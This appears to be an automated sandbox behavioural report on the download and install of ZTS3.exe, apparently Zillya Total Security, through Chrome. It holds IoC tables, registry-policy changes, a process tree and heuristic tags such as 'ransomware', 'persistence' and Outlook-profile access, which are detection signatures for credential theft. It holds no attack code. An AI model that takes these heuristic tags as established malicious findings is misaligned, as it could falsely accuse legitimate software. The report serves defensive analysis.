Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe

Suspicious use of SetWindowsHookEx 30 IoCs

pid	Process
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
2964	ZTS.exe
408	ZTS.exe
5144	ZTS.exe
4340	iexplore.exe
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
5076	SplashtopStreamer.exe
7152	SRServer.exe
7152	SRServer.exe
7164	SRAppPB.exe
7164	SRAppPB.exe
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
6364	SRVirtualDisplay.exe
6364	SRVirtualDisplay.exe
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE
5268	WINWORD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1092 wrote to memory of 4068	1092	chrome.exe	83
PID 1092 wrote to memory of 4068	1092	chrome.exe	83
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 2852	1092	chrome.exe	84
PID 1092 wrote to memory of 916	1092	chrome.exe	85
PID 1092 wrote to memory of 916	1092	chrome.exe	85
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86
PID 1092 wrote to memory of 4728	1092	chrome.exe	86

System policy modification 1 TTPs 3 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "0"	ZTSCore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	ZTSCore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\disablecmd = "0"	ZTSCore.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:3432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://zillya.com/zillya-total-security
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb400ecc40,0x7ffb400ecc4c,0x7ffb400ecc58
    3⤵
    PID:4068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1916,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1912 /prefetch:2
    3⤵
    PID:2852
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2164,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2172 /prefetch:3
    3⤵
    PID:916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2240,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2204 /prefetch:8
    3⤵
    PID:4728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3116,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3144 /prefetch:1
    3⤵
    PID:264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3120,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:2288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4576,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4552 /prefetch:1
    3⤵
    PID:400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-appcompat-clear --field-trial-handle=4720,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4712 /prefetch:8
    3⤵
    PID:4304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4704,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4648 /prefetch:8
    3⤵
    - Modifies registry class
    PID:4292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5336,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5356 /prefetch:8
    3⤵
    PID:3816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5360,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5396 /prefetch:8
    3⤵
    PID:3520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5368,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5540 /prefetch:8
    3⤵
    PID:3316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4872,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5732 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5076,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5720 /prefetch:8
    3⤵
    PID:1760
- - C:\Users\Admin\Downloads\ZTS3.exe
    "C:\Users\Admin\Downloads\ZTS3.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2188
  - - C:\Users\Admin\AppData\Local\Temp\is-GM0E2.tmp\ZTS3.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-GM0E2.tmp\ZTS3.tmp" /SL5="$901EC,443486740,121344,C:\Users\Admin\Downloads\ZTS3.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2396
    - - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\is-9O1GN.tmp\ZTS3Setup_3.0.2377.0_en.msi"
        5⤵
        Blocklisted process makes network request
        Enumerates connected drives
        
        PID:4480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5712,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5420 /prefetch:1
    3⤵
    PID:804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5528,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5164 /prefetch:1
    3⤵
    PID:436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5948,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5952 /prefetch:8
    3⤵
    PID:3708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5932,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5976 /prefetch:8
    3⤵
    PID:1196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=3224,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5104 /prefetch:1
    3⤵
    PID:4540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=3124,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4888 /prefetch:1
    3⤵
    PID:3384
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=3324,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3796 /prefetch:1
    3⤵
    PID:1040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=3156,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5944 /prefetch:1
    3⤵
    PID:4824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=6128,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6108 /prefetch:1
    3⤵
    PID:3128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=4892,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6008 /prefetch:1
    3⤵
    PID:3348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --field-trial-handle=4680,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5964 /prefetch:1
    3⤵
    PID:1068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=3168,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5904 /prefetch:1
    3⤵
    PID:5772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6056,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6348 /prefetch:8
    3⤵
    PID:748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6488,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6500 /prefetch:8
    3⤵
    PID:2128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --field-trial-handle=6544,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6604 /prefetch:1
    3⤵
    PID:4988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3536,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=724 /prefetch:8
    3⤵
    PID:3616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --field-trial-handle=3192,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4460 /prefetch:1
    3⤵
    PID:3460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --field-trial-handle=6028,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6416 /prefetch:1
    3⤵
    PID:4684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6680,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6696 /prefetch:8
    3⤵
    PID:5620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6836,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6856 /prefetch:8
    3⤵
    PID:5884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --field-trial-handle=7016,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6832 /prefetch:1
    3⤵
    PID:4484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --field-trial-handle=6520,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6992 /prefetch:1
    3⤵
    PID:5600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7096,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6764 /prefetch:8
    3⤵
    PID:5532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7068,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6856 /prefetch:8
    3⤵
    PID:5224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7100,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3436 /prefetch:8
    3⤵
    PID:4828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3236,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6888 /prefetch:8
    3⤵
    PID:5632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5936,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6224 /prefetch:8
    3⤵
    PID:4768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=724,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=7108 /prefetch:8
    3⤵
    PID:3852
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7164,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=7136 /prefetch:8
    3⤵
    PID:3524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
